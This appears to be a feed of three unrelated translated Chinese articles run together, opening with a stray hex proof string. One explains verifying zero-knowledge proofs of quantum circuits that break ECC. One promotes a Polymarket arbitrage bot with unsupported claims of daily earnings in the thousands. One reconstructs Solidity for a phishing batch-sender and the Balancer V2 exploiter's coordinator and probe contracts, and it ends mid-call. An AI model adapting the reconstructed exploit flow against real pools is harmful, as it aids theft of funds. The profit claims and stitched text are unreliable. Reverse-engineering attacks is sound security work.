324528d315674da45d26afb376e867000000000000000000000000000000000000000000000000000000000000000000a11fe07d3af
e9d5e9b5af9fdb37fc38bd529d09b92e08350556a3a38ad03f1b2ed337741ecfeae1a65849d1927cdfc3ea4d211734cd747fc4a5534
449ebfd1e2130fde87661e0e0fba6ec2055c130d875c7fa3358e25e2236e928520eddfa992a9e6510d0635161c62e0e29f4c28921f5
6126a908b286c4d910089780441a5811799d5c7dbf293ac3e6d5f51267efbf95cf8643cb28c5f7c2bac8ee9d4b55c830475b328ff9f
9b257f2383e7934aaab12616e04645bf6a2b9820cafba4fd3830655d676b7ff376817bbd18a178cf091ad4f4e53b2e322a1d75b3e14
00d9b66e1feb401eae0df274d7a774f0bd2fc471ce574348daeaac3ee288dcd282456a33

Verification Key:
0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4

电路SHA-256哈希

首先，研究人员为每个电路创建了电路SHA-256哈希。

包含量子电路代码的KMX文件使用SHA-256函数转换为"哈希"或唯一的66字符字符串。SHA-256哈希不容易被反向破解以显示原始文本。

Groth16证明字节和验证密钥

然后，研究人员创建了一个ELF二进制文件，即零知识证明需要"证明"或验证的规则列表。

ELF二进制文件是一个RISC-V程序，用汇编语言或C/C++编写，代码必须反映如下示例陈述，以证明量子电路存在：

零知识证明陈述1（低量子比特变体）

我们拥有一个量子kickmix电路C低量子比特（通过其加密哈希唯一承诺），资源计数最多为：

2,700,000个非Clifford门（CCX + CCZ）

1,175个逻辑量子比特

17,000,000次总操作

在椭圆曲线secp256k1上正确计算所有9,024个伪随机输入的点加法，这些输入是确定性地从电路自身的哈希派生出来的。

这引入了一个重要的信任假设。读者必须相信研究人员创建了一个诚实和准确的ELF二进制文件，因为电路是隐藏的。独立审计ELF二进制文件至关重要，但目前尚未进行（尽管我自己考虑过做一个；可以使用Ghidra等工具评估ELF二进制文件）。

然后，研究人员使用ELF二进制文件和电路来验证电路是否满足ELF二进制文件中指定的所有规则。

研究人员会在SP1零知识虚拟机(zkVM)中运行ELF二进制文件，并将电路作为其输入，这是一个由Succinct Labs开发的沙盒计算环境，执行指令（如ELF二进制文件中的指令），验证计算，并在验证后生成零知识密码学证明。

在这种情况下，首先，zkEVM处理ELF二进制文件并将其哈希以创建验证密钥。

然后，zkVM按照ELF二进制文件指令检查电路是否正确计算了所有9,024个测试输入的椭圆曲线点加法。

验证后，zkEVM生成一个STARK证明，一个（是的，后量子安全）密码学字符串，确认验证并可与验证密钥和ELF二进制文件交叉检查。

原始STARK证明相对较大且验证较慢，因此它被压缩为**Groth16证明字节**，这是一种SNARK（另一类零知识证明）的版本，更小且验证成本更低。

任何人都可以使用Groth16证明字节和验证密钥在第2步中在毫秒内验证结果，无需原始电路、重新计算或信任研究人员。

5、如何独立验证证明

验证证明的最简单方法是使用公共Zenodo档案中提供的标识符和验证程序，这是一个用于研究和数据的通用开放存储库，可在任何典型计算机上使用。我在Mac笔记本电脑上运行了即将介绍的终端命令。

验证证明确认存在满足ELF二进制文件中定义的要求的量子电路。这些要求是解决9,024个椭圆曲线加法问题，在Google量子AI白皮书中描述的低量子比特和低门数量子电路指定的资源限制内。

它不能确认量子电路已成功在量子计算机上执行（事实并非如此），也不能确认ELF二进制文件本身包含正确的验证逻辑。

第1步：从提供的Zenodo档案下载zkp_ecc_zenodo.zip并解压。

目录结构应包含：

zkp_ecc_zenodo/
├── verifier/
│ ├── verifier.rs ← 验证程序
│ └── Cargo.toml ← 其依赖项
├── proofs/
│ ├── zkp_ecc-program ← ELF二进制文件
│ ├── vkey.bin ← 验证密钥
│ ├── low_qubits/
│ │ └── proof_9024.bin ← 低量子比特电路的证明
│ └── low_toffoli/
│ └── proof_9024.bin ← 低门数量子电路的证明
└── run_proofs.sh ← 用于重新生成证明的脚本（需要GPU）

五个最重要的文件是：

• proofs/zkp_ecc-program：ELF二进制文件
• proofs/vkey.bin：验证密钥
• proofs/low_qubits/proof_9024.bin：低量子比特电路的Groth16证明字节
• proofs/low_toffoli/proof_9024.bin：低门数量子电路的Groth16证明字节
• verifier.rs：验证程序，将在以下章节中进一步解释

第2步：安装依赖项

验证器是用Rust编写的，依赖于SP1 SDK，后者依赖于protobus作为其数据序列化格式。

brew install protobuf

第3步：查看verifier.rs，验证程序

验证程序位于verifier/verifier.rs，确认zk证明对应于验证逻辑的有效执行。

换句话说，它验证电路是否按照ELF二进制文件进行了评估，并满足量子电路声称的规范，如"零知识证明是如何创建的"部分所解释的。

它通过根据验证密钥检查Groth16证明字节来实现这一点，验证密钥是ELF二进制文件约束的压缩表示。

首先，它读取验证密钥：

let vk_bytes = std::fs::read(&vkey_path).expect("failed to read vkey file");

然后，它加载Groth16证明字节：

let mut proof = SP1ProofWithPublicValues::load(&args.proof).expect("failed to load proof");

它使用SP1 SDK根据验证密钥验证证明。

client.verify(&proof, &vk, None).expect("failed to verify proof");

如果验证成功，它将返回如第5步所示的输出。

第4步：运行验证器

一旦理解了验证逻辑，就可以执行程序来检查证明。

验证程序需要两个输入：Groth16证明字节和特定电路的验证密钥。

低量子比特电路

对于低量子比特电路，Groth16证明字节存储在proofs/low_qubits/proof_9024.bin中。在zkp_ecc_zenodo文件夹中运行以下命令以验证低量子比特电路：

RUST_LOG=info cargo run --release -p verifier -- \
--proof proofs/low_qubits/proof_9024.bin \
--vkey proofs/vkey.bin

低门数量子电路

对于低量子比特电路，Groth16证明字节存储在proofs/low_toffoli/proof_9024.bin中。在zkp_ecc_zenodo文件夹中运行以下命令以验证低门数量子电路：

RUST_LOG=info cargo run --release -p verifier -- \
--proof proofs/low_toffoli/proof_9024.bin \
--vkey proofs/vkey.bin

第5步：查看输出

如果验证成功，验证程序确认zk证明对应于验证逻辑的有效执行并返回输出。

输出应匹配每个电路提供的元数据。

✅ 低量子比特电路：

• 电路SHA-256哈希 / 电路哈希承诺：0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a
• 验证密钥 / 验证密钥（十六进制））：0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
• 非Clifford门 / 要求的平均非Clifford计数：2,700,000
• 逻辑量子比特计数 / 要求的量子比特计数：1,175个逻辑量子比特

输出：

Verifying Key (Hex): 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
Proof (Hex): 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e86700000000000000000000000000000000000000000000000000000000000000000215c7fe4fc597b861d82370ab556684ae36e98cf073e7f754f2788ad58721dbd012927516f316e7b4f3effb1dbd567732611cb0334f2d75e529c5e3becd0629c17605c7ff87c6f23324328744454bdec0df425a4a63e3358c10079c85ef757412ae86ae1f85bf47ef6980852d6f65423be2d90adb5b29896493324128b1cda0a0042f7138c850a1ca441210ba770a2eee39d56f6f90bf68b7a346e1658c6529715334621b6e1a63b85875b8c8a610e0d885662879755803027dad57d97140afb2498bbb63215b236575f95b0019f2b9713bc810e1e044d47ab360e92b899c46512fc97460609186bf1fe01c892a8015fb00e7fdea11b08f88c6adb79b1243518
Successfully verified Groth16 SNARK proof.
Circuit hash commitment: 0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a
Demanded Number of tests: 9024
Demanded Qubit count: 1175
Demanded Average non-Clifford count: 2700000
Demanded Total ops: 17000000

✅ 低门数量子电路：

• 电路SHA-256哈希 / 电路哈希承诺： 0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69
• 验证密钥 / 验证密钥（十六进制）： 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
• 非Clifford门 / 要求的平均非Clifford计数：2,100,000
• 逻辑量子比特计数 / 要求的量子比特计数：1,425个逻辑量子比特

输出：

Verifying Key (Hex): 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
Proof (Hex): 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e867000000000000000000000000000000000000000000000000000000000000000000a11fe07d3afe9d5e9b5af9fdb37fc38bd529d09b92e08350556a3a38ad03f1b2ed337741ecfeae1a65849d1927cdfc3ea4d211734cd747fc4a5534449ebfd1e2130fde87661e0e0fba6ec2055c130d875c7fa3358e25e2236e928520eddfa992a9e6510d0635161c62e0e29f4c28921f56126a908b286c4d910089780441a5811799d5c7dbf293ac3e6d5f51267efbf95cf8643cb28c5f7c2bac8ee9d4b55c830475b328ff9f9b257f2383e7934aaab12616e04645bf6a2b9820cafba4fd3830655d676b7ff376817bbd18a178cf091ad4f4e53b2e322a1d75b3e1400d9b66e1feb401eae0df274d7a774f0bd2fc471ce574348daeaac3ee288dcd282456a33
Successfully verified Groth16 SNARK proof.
Circuit hash commitment: 0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69
Demanded Number of tests: 9024
Demanded Qubit count: 1425
Demanded Average non-Clifford count: 2100000
Demanded Total ops: 17000000

6、结束语

Google量子AI研究人员开发了能够破解ECC的量子电路，这些电路未公开发布，但可以使用零知识证明进行验证。

研究人员可能越来越依赖zk证明来商业化电路、防止滥用，或响应政府压力，同时仍然公开证明他们取得了突破。

运行验证器确认存在满足证明中承诺的陈述的量子电路。然而，它不能确认量子电路是否曾在量子计算机上成功运行，或者ELF二进制文件本身是否包含正确的验证逻辑。

随着更多研究人员使用零知识证明来支持关于未公开量子电路的主张，对证明的独立验证和审计将变得越来越重要。

原文链接: How zero-knowledge proofs make quantum circuits "private"

DefiPlot 翻译整理，转载请标明出处

编程小白又怎样？这正是关键所在。只需 5 分钟。

你无需成为程序员即可启动交易机器人。

虽然 GPT 可能会派上用场。

不确定？

@noisyb0y1 - 传奇人物

最初，我们需要 Claude，它可以：

编写 Python 机器人
连接到 Polymarket API
通过 WebSocket 连接到交易所

你让 Claude 编写机器人。

在代码中，机器人使用 OpenClaw SDK（用于跟踪实时数据）。

你来制定任务（例如，一个套利机器人）：

“兄弟，做一个机器人，追踪比特币价格，在 Polymarket 上寻找套利机会，并自动开仓买入价格低于 1 美元的买卖双方（上涨 + 下跌）。”

显然，最好尽可能详细清晰地描述任务要求。

你得到一个可运行的框架。

接下来，将其部署到服务器上，并用少量资金进行测试。

代码本身只是一个工具，利润来自当买入价格 + 下跌价格 < 1 美元时的套利。

任何二元期权市场都遵循这样的运作方式：买入价格 + 下跌价格 = 1 美元（是 + 否）。

如果在任何时候你都能以低于 1 美元的价格买入买入，那么到期时就能保证盈利。

例如：上涨 = 0.48 |下跌 = 0.49

0.48 + 0.49 = 0.97

买入正反两方 -> 结算时收到 1 美元 -> +3%

OpenClaw 的作用：

连接到 API 后，它可与 Polymarket 和交易所的订单簿配合使用。

实时追踪交易所的 BTC 价格
当交易所价格出现剧烈波动时，它会在 Polymarket 上做出反应
立即下单
该机器人实时监控交易所价格，并在 Polymarket 调整之前对其变化做出反应。

这就是它如何捕捉到上涨 + 下跌 < 1 美元的有效交易窗口。

目前

在 BTC 市场上，5 分钟、15 分钟、24 小时交易机器人（无论是上涨还是下跌）每天可赚取数千甚至数万美元。

许多创建机器人的新账户会用少量资金进行测试，如果发现问题（漏洞），他们会使用 GPT 优化代码，直到达到最佳状态。

原文链接：Create a OpenClaw + Polymarket trading bot without your programming so you never have to work again

DefiPlot翻译整理，转载请标明出处

这源于我听说从纯字节码反编译未经验证的智能合约应该很简单，于是我想探究一下“简单”在实践中究竟意味着什么。

我粘贴了一段原始字节码，并直接向 GPT-5.4 提出了一个问题：

请反编译这段 EVM 字节码

第一个合约很小，感觉就像是热身。紧接着，我粘贴了第二个更大的字节码，然后问道：好的，这个呢？

正是这第二步让整个过程变得有趣起来。它展示了 Balancer V2 上的攻击者合约是什么样子。

1、热身：我交给 LLM 的第一个合约

我开始在 Etherscan 上搜索一些未经验证的合约（没想到现在这么难！），点击了几下后，我发现了一个钓鱼合约，地址是：

https://etherscan.io/address/0xc727eb69ccf89d5911042f21be25a193d67e2c23#code

字节码本身很短，这使得它成为 GPT 处理的第一个完美示例。

GPT 首先查看了调度器，只识别出两个公共选择器：

• 0x13d06a4c
• 0xf851a440

这通常表明合约的范围很窄，没有太多活动部件。

由此，它很快就重构了关键行为：

• 一个函数返回一个硬编码的控制器地址
• 一个函数接受三个数组
• 调用者必须是那个硬编码的控制器
• 数组长度必须匹配
• 循环要么发送 ETH，要么调用 ERC20.transfer(...)，具体取决于代币地址是否为零

这足以将合约重构为一个非常小的、由所有者控制的批量发送器。

用类似 Solidity 的伪代码表示，它基本上是：

pragma solidity ^0.8.21;

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
}

contract BatchSenderLike {
    error AuthOrLengthError();   // selector: 0x47556579
    error TransferFailed();      // selector: 0x90b8ec18

    address public constant controller =
        0xc0007d8C810bEce9B3199bb65799145165F9437c;

    receive() external payable {}

    // selector: 0xf851a440
    function getController() external pure returns (address) {
        return controller;
    }

    // selector: 0x13d06a4c
    function batchSend(
        address[] calldata assets,
        address[] calldata recipients,
        uint256[] calldata amounts
    ) external payable {
        if (msg.sender != controller) revert AuthOrLengthError();
        if (
            assets.length != recipients.length ||
            recipients.length != amounts.length
        ) revert AuthOrLengthError();

        for (uint256 i = 0; i < assets.length; i++) {
            if (assets[i] == address(0)) {
                (bool ok, ) = payable(recipients[i]).call{value: amounts[i]}("");
                if (!ok) revert TransferFailed();
            } else {
                (bool ok, bytes memory ret) =
                    assets[i].call(
                        abi.encodeWithSelector(
                            IERC20.transfer.selector,
                            recipients[i],
                            amounts[i]
                        )
                    );

                if (!ok) revert TransferFailed();
                if (ret.length != 0 && !abi.decode(ret, (bool))) {
                    revert TransferFailed();
                }
            }
        }
    }
}

就这样，我们看到了钓鱼合约的批量处理功能，它发送了 28 万笔交易，截至撰写本文时，还有 19 笔交易处于待处理状态。

嗯，这个批量处理功能让我想起了另一件事……

2、第二个字节码片段

第二个字节码是 Balancer 漏洞利用者的合约。

https://etherscan.io/address/0x54b53503c0e2173df29f8da735fbd45ee8aba30d#code

所以我再次将字节码输入提示符并按下回车键。

首先，我输入了字节码，让它识别调度器中的公共选择器。然后，它查找任何具有已知签名匹配的选择器，扫描运行时中的嵌入式字符串（hello 控制台日志），将外部调用映射到已知协议，并检查相关交易，使调用数据不再抽象。

在那之后，我才要求它重构自定义函数。这种顺序至关重要。如果我过早地要求它进行完整解释，那么大部分有趣的部分可能都只是用自信的语言进行的猜测。

3、分析过程中使用的工具

这是我发现最有用的部分之一：没有神奇的“反编译”按钮。GPT 是通过将几个较小的线索叠加起来才得出答案的。

3.1 Etherscan

Etherscan 在整个过程中做了很多繁重的工作。这并非因为它以某种方式为我解释了合约，而是因为它让 GPT 能够在代码、交易、辅助合约和创建流程之间自由切换，而不会丢失上下文。最有用的往往不是代码标签页本身，而是页面之间的关系：辅助合约已经创建完成。被更大的反编译器处理后，提取事务准确地显示了调用了哪个选择器以及调用数据是什么样的。这是原始反编译器本身无法提供的上下文信息，而 GPT 很好地利用了这一点。

3.2 4byte/函数签名数据库

这是整个会话中最快的胜利之一。每当 GPT 遇到一个选择器时，它都会检查是否存在已知的匹配签名。这让我立刻获得了诸如 failed()、IS_TEST()、callTx(address,uint256,bytes)、getPoolId()、getBptIndex()、getScalingFactors()、getRateProviders()、getActualSupply()、getAmplificationParameter()、getSwapFeePercentage()、getRate()、getPoolTokens(bytes32)、getInternalBalance(address,address[])、manageUserBalance(...) 和 batchSwap(...) 等函数的精确名称或高置信度名称。

这彻底改变了问题。我不再面对一个随机的合约。GPT 有效地表明，字节码使用的是一种非常特定的语言，而这种语言就是 Balancer。

模式匹配再次发挥了重要作用……

3.3 运行时嵌入的字符串

这是最有趣的部分之一。字节码中包含一些可读的字符串，例如 Doing Batch、poolRate0、poolRate1、trickAmt、trickRate、trickIndex、nonTrickIndex、currentAmp、startBalancesi、Asset Deltasi 和 Ending Invariant。正是这类线索将逆向工程从抽象的字节码追踪转变为更人性化的工作。

这些字符串告诉我，GPT 也证实了这一点，我可能正在查看一段用于调试的代码，该代码测量某些批处理操作前后速率、余额和与不变式相关的值。即使没有任何公开的漏洞利用报告，这也表明它更像是一个实验工具或攻击协调器，而不是一个普通的生产环境封装程序。

4、利用事件报告

我发现一个特别有趣的地方：如果我假设 Balancer 的公开事后分析不存在，我还能仅从合约、辅助函数和链上跟踪中推断出多少信息？

实际上，信息量相当大。

5、合约不再看似随机的那一刻

在更大的合约中，早期最重要的线索实际上根本不是 Balancer，而是 Foundry。

GPT 发现字节码暴露了一系列选择器，匹配诸如 failed()、IS_TEST()、targetSelectors()、excludeSelectors()、targetContracts()、excludeContracts()、targetArtifacts()、excludeArtifacts()、targetSenders()、excludeSenders() 和 targetInterfaces() 之类的函数。这立即改变了我对合约其余部分的解读。如果我假设这是一个干净的生产部署，我就会将许多辅助函数逻辑误读为业务逻辑。

相反，当合约的三层结构紧密结合时，其逻辑才开始变得清晰起来：一层类似 Foundry 的测试或不变框架，一层由所有者控制的编排层，以及底层更为具体的协议逻辑。

6、然后，Balancer 的调用开始变得清晰起来。

一旦 GPT 映射了外部选择器，合约的逻辑就变得更加清晰了。它读取了池 ID、BPT 指数、缩放因子、费率提供者、实际供应量、放大参数、兑换费用百分比和费率。它还调用了 Vault 方法来获取池代币、读取内部余额、管理用户余额并执行 batchSwap。

这并非通用的 DeFi 底层架构，而是高度特定的行为。即使没有任何公开的漏洞利用信息，仅凭这一点，我就能断言：该合约是专门为检查和操纵 Balancer 池状态而设计的，而不是作为通用的 DeFi 聚合器或钱包工具。

7、辅助合约让一切豁然开朗。

这个较小的辅助合约至关重要，因为它证实了较大的合约并非独立运行。它有两个授权调用者，一个公共选择器 0x524c9e20，对余额和缩放因子数组进行繁琐的算术运算，以及 Balancer 风格的回滚格式化。这看起来完全像是一个数学探测程序。

而这正是缺失的一环。更大的合约不仅读取池状态并执行交换操作，它还在反复探测一个辅助函数，该函数似乎在评估接近算术边界的候选值。即便没有任何公开的记录，我认为在黑客攻击发生之前，合理的结论应该是：这看起来像是一个专门用于在 Balancer 池中寻找有利可图或不稳定状态的研究或攻击工具。

8、交易数据比我预期的更有帮助

GPT 获取的最有用的信息之一是提取交易。

选择器 0x8a4f75d6 的调用数据解码得非常清晰：

address[] pools = [
  0xdacf5fa19b1f720111609043ac67a9818262850c,
  0x93d199263632a4ef4bb438f1feb99e57b4b5f0bd
]

这立刻让我意识到，某个自定义函数并非抽象的池数学运算入口点，而是一个仅限所有者使用的函数，用于遍历池地址。

GPT 追踪了该函数的内部执行过程后，其结构显而易见：设置当前池，获取池 ID，获取池地址。从金库中取出 ool 代币，读取合约中这些资产的内部余额，构建 UserBalanceOp[]，调用 manageUserBalance(...)，然后将余额从金库中取出。换句话说，它看起来像是一条提取路径。

这正是能够将模糊的重构转化为可靠的重构的关键线索，因为此时合约不再像是一个无害的分析辅助工具，而更像是一个包含设置阶段、操作阶段和提现阶段的系统。

9、重构未知的自定义函数

并非所有选择器都存在于公共数据库中，因此 GPT 必须从精确匹配转向基于调用数据形状、存储效果和控制流的推断。

三个重要的未知数是 0x8a4f75d6、0x60e087db 和 0x77e0735d。

0x8a4f75d6 最容易找到，因为提取交易直接调用了它。这让我得以将其大致重构为：

function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner

另外两个函数看起来像是两种不同的场景运行器，每个都大致接受 (address,uint256,uint256,address,uint256,uint256) 参数。GPT 的最佳解读是，其中一个运行场景 A，并可选择性地运行场景 B；而另一个则缓存场景 B，并先运行场景 A。

这不足以恢复原始名称，但足以恢复其行为角色，而在逆向工程中，这通常是更重要的里程碑。

10、内部例程才是真正的核心

经过足够的追踪，这个庞大的内部例程不再神秘，而是开始呈现出过程式的特征。它首先设置当前池上下文，并读取大量 Balancer 元数据：池 ID、BPT 索引、缩放因子、费率提供商、实际供应量、放大倍数、交换费和费率。然后，它将池代币批准到金库，构建了似乎排除或特殊处理 BPT 仓位的内部数组，并反复调用辅助函数并传入候选值。

只有在完成所有这些步骤之后，它才构建了 BatchSwapStep[]、资产和限额，然后执行精心构造的 batchSwap(...)。调试字符串表明，它随后测量或发出了围绕池费率、选定的“技巧”金额和索引、当前放大倍数、初始余额、最终余额、资产增量以及某种最终不变性概念的值。最后，在后续阶段，可以通过内部余额提取价值。

11、我对合约的真正理解

我最终的解释，仅基于 GPT-5.4 从字节码和它提取的链上证据中重建的内容，是这个更大的合约不仅仅是一个专门构建的 Balancer 协调器。更具体地说，它看起来像是一个已部署的模糊测试或不变性测试装置的后代，并且已经发展成为某种可运行的程序。

Foundry 风格的接口是我开始这样思考的第一个原因。辅助合约是第二个原因。提取路径是第三个原因。综合起来，整个系统看起来不像是一个干净利落、仅针对最终交易编写的最小化漏洞利用合约。它更像是研究基础设施，在已部署的工件中仍然可见。

这并不一定意味着攻击者部署了他们在本地使用的完全相同的模糊测试框架。我认为更谨慎的说法是：他们很可能通过模糊测试、不变性测试或对抗性实验发现了攻击或对其进行了改进，而已部署的合约仍然保留了许多脚手架。换句话说，它看起来不像是一个精心打磨的最终有效载荷，而更像是最初帮助他们发现漏洞的工具的武器化后代。

12、存储布局

这是最实用的布局，而不是精确的编译器映射。

// Foundry invariant harness state
address[] excludeSenders;          // slot 0x15
address[] targetSenders;           // slot 0x16
address[] targetContracts;         // slot 0x17
address[] excludeContracts;        // slot 0x18
string[]  targetArtifacts;         // slot 0x19
string[]  excludeArtifacts;        // slot 0x1a
// slot 0x1b..0x1e: selector/interface config arrays

// packed owner + test flag
address owner;                     // packed in slot 0x1f
bool isTest;                       // packed in slot 0x1f

// exploit-specific state
address helper;                    // slot 0x21
address vault;                     // slot 0x22
address currentPool;               // slot 0x23
bytes32 currentPoolId;             // slot 0x24
uint256 bptIndex;                  // slot 0x25
uint256 trickIndex;                // slot 0x26, likely
uint256 derivedAmount;             // slot 0x27
uint256 derivedAmount2;            // slot 0x28
uint256 mode;                      // slot 0x29
uint256 currentAmp;                // slot 0x2a
uint256 trickRate;                 // slot 0x2b, likely
uint8[] nonBptFlags;               // slot 0x2c
// slot 0x2e..0x30: batchSwap / fund management config
uint256 scenarioParam1;            // slot 0x31
uint256 scenarioParam2;            // slot 0x32
uint256 tokenCountExcludingBpt;    // slot 0x33
uint256 base;                      // slot 0x34 = 2
uint256 width;                     // slot 0x35 = 4
uint256 groupSize;                 // slot 0x36 = 3

bool hasDeferredScenario;          // slot 0x39
address deferredPool;              // slot 0x3a
uint256 deferredParam1;            // slot 0x3b
uint256 deferredParam2;            // slot 0x3c

13、辅助合约重构

pragma solidity 0.7.6;

contract BalancerMathProbe {
    address public auth0;
    address public auth1;

    modifier onlyAuthorized() {
        require(msg.sender == auth0 || msg.sender == auth1, "X");
        _;
    }

    // Parameter names are reconstructed from behavior and public writeups.
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external view onlyAuthorized returns (uint256) {
        uint256[] memory scaled = new uint256[](scalingFactors.length);
        for (uint256 i = 0; i < scalingFactors.length; i++) {
            scaled[i] = balances[i] * scalingFactors[i] / 1e18;
        }

        uint256 invariantish = _computeInvariantish(ampLike, scaled);
        uint256 manipulated = _computeManipulatedOutput(
            scaled,
            indexIn,
            indexOut,
            amountGiven,
            invariantish,
            swapFeeLike
        );

        return manipulated;
    }

    // Internal helpers use checked math and may revert with BAL#004.
}

14、主合约重构

pragma solidity 0.7.6;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IVault {
    struct BatchSwapStep {
        bytes32 poolId;
        uint256 assetInIndex;
        uint256 assetOutIndex;
        uint256 amount;
        bytes userData;
    }

    struct FundManagement {
        address sender;
        bool fromInternalBalance;
        address payable recipient;
        bool toInternalBalance;
    }

    struct UserBalanceOp {
        uint8 kind;
        address asset;
        uint256 amount;
        address sender;
        address payable recipient;
    }

    function getPoolTokens(bytes32 poolId)
        external
        view
        returns (address[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock);

    function getInternalBalance(address user, address[] memory tokens)
        external
        view
        returns (uint256[] memory balances);

    function manageUserBalance(UserBalanceOp[] memory ops) external;

    function batchSwap(
        uint8 kind,
        BatchSwapStep[] memory swaps,
        address[] memory assets,
        FundManagement memory funds,
        int256[] memory limits,
        uint256 deadline
    ) external returns (int256[] memory assetDeltas);
}

interface IComposableStablePool {
    function getPoolId() external view returns (bytes32);
    function getBptIndex() external view returns (uint256);
    function getScalingFactors() external view returns (uint256[] memory);
    function getRateProviders() external view returns (address[] memory);
    function getActualSupply() external view returns (uint256);
    function getAmplificationParameter() external view returns (uint256, bool, uint256);
    function getSwapFeePercentage() external view returns (uint256);
    function getRate() external view returns (uint256);
}

interface IProbeHelper {
    function fn_0x524c9e20(
        uint256[] calldata scalingFactors,
        uint256[] calldata balances,
        uint256 indexIn,
        uint256 indexOut,
        uint256 amountGiven,
        uint256 ampLike,
        uint256 swapFeeLike
    ) external returns (uint256);
}

contract BalancerCoordinatorLike {
    address public owner;
    bool public IS_TEST;

    address public helper;
    address public vault;
    address public currentPool;
    bytes32 public currentPoolId;
    uint256 public bptIndex;

    bool internal hasDeferredScenario;
    address internal deferredPool;
    uint256 internal deferredP1;
    uint256 internal deferredP2;

    modifier onlyOwner() {
        require(msg.sender == owner, "not owner");
        _;
    }

    receive() external payable {}

    // Exact selector known.
    function callTx(address to, uint256 value, bytes calldata data) external onlyOwner {
        (bool ok,) = to.call{value: value}(data);
        require(ok, "raw call failed");
    }

    // Foundry test helper.
    function failed() external returns (bool) {
        // Falls back to hevm.load(...) in test mode.
        return false;
    }

    // Custom selector 0x60e087db
    function fn_0x60e087db(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        hasDeferredScenario = true;
        deferredPool = pool1;
        deferredP1 = p11;
        deferredP2 = p21;

        _runScenario(pool0, p10, p20);
    }

    // Custom selector 0x77e0735d
    function fn_0x77e0735d(
        address pool0,
        uint256 p10,
        uint256 p20,
        address pool1,
        uint256 p11,
        uint256 p21
    ) external onlyOwner {
        _runScenario(pool0, p10, p20);
        if (pool1 != address(0)) {
            _runScenario(pool1, p11, p21);
        }
    }

    // Exact calldata shape confirmed by extraction tx.
    function fn_0x8a4f75d6(address[] calldata pools) external onlyOwner {
        for (uint256 i = 0; i < pools.length; i++) {
            currentPool = pools[i];
            currentPoolId = IComposableStablePool(pools[i]).getPoolId();

            (address[] memory tokens,,) = IVault(vault).getPoolTokens(currentPoolId);
            uint256[] memory internalBalances = IVault(vault).getInternalBalance(address(this), tokens);

            IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);
            for (uint256 j = 0; j < tokens.length; j++) {
                ops[j] = IVault.UserBalanceOp({
                    kind: 1,
                    asset: tokens[j],
                    amount: internalBalances[j],
                    sender: address(this),
                    recipient: payable(address(this))
                });
            }

            IVault(vault).manageUserBalance(ops);

            // The real bytecode emits many debug logs here and checks post-withdraw balances.
            for (uint256 j = 0; j < tokens.length; j++) {
                IERC20(tokens[j]).balanceOf(address(this));
            }
        }
    }

    function _runScenario(address pool, uint256 p1, uint256 p2) internal {
        currentPool = pool;
        // Likely Foundry-style debug instrumentation preserved in deployment.
        // In real source this may have been `console.log(...)` from forge-std.
        console.log("Pool", pool);
        console.log("Start.");
        currentPoolId = IComposableStablePool(pool).getPoolId();
        bptIndex = IComposableStablePool(pool).getBptIndex();

        (address[] memory tokens, uint256[] memory startBalances,) = IVault(vault).getPoolTokens(currentPoolId);
        for (uint256 i = 0; i < tokens.length; i++) {
            console.log("mytoken i", tokens[i]);
            IERC20(tokens[i]).approve(vault, type(uint256).max);
        }

        uint256[] memory scalingFactors = IComposableStablePool(pool).getScalingFactors();
        address[] memory rateProviders = IComposableStablePool(pool).getRateProviders();
        uint256 actualSupply = IComposableStablePool(pool).getActualSupply();
        (uint256 amp,,) = IComposableStablePool(pool).getAmplificationParameter();
        uint256 swapFee = IComposableStablePool(pool).getSwapFeePercentage();
        uint256 poolRate = IComposableStablePool(pool).getRate();
        console.log("currentAmp", amp);

        // poolRate0 / poolRate1 most likely correspond to the primary and
        // secondary scenario when two pools are being driven in one run.
        if (hasDeferredScenario) {
            console.log("poolRate0", poolRate);
        } else {
            console.log("poolRate1", poolRate);
        }

        // Real bytecode derives several indices and builds a compact flag array excluding the BPT.
        // It also chooses one "trick" index and one "nonTrick" index.
        uint256 trickIndex = _guessIndexIn();
        uint256 nonTrickIndex = _guessIndexOut();
        console.log("trickIndex", trickIndex);
        console.log("nonTrickIndex", nonTrickIndex);

        uint256[] memory candidateAmts = _buildCandidateAmounts(tokens.length, p1, p2);
        if (candidateAmts.length > 0) {
            console.log("trickAmt", candidateAmts[0]);
        }

        // Probe helper repeatedly with different candidates.
        uint256 lastProbe;
        for (uint256 i = 0; i < candidateAmts.length; i++) {
            lastProbe = IProbeHelper(helper).fn_0x524c9e20(
                scalingFactors,
                _readPoolBalances(currentPoolId),
                trickIndex,
                nonTrickIndex,
                candidateAmts[i],
                amp,
                swapFee
            );
        }
        console.log("trickRate", lastProbe);

        // Construct batch swaps.
        IVault.BatchSwapStep[] memory steps = _buildSwapSteps(candidateAmts);
        address[] memory assets = tokens;
        int256[] memory limits = _buildLimits(assets.length);

        IVault.FundManagement memory funds = IVault.FundManagement({
            sender: address(this),
            fromInternalBalance: false,
            recipient: payable(address(this)),
            toInternalBalance: true
        });

        console.log("Doing Batch");
        IVault(vault).batchSwap(
            1,
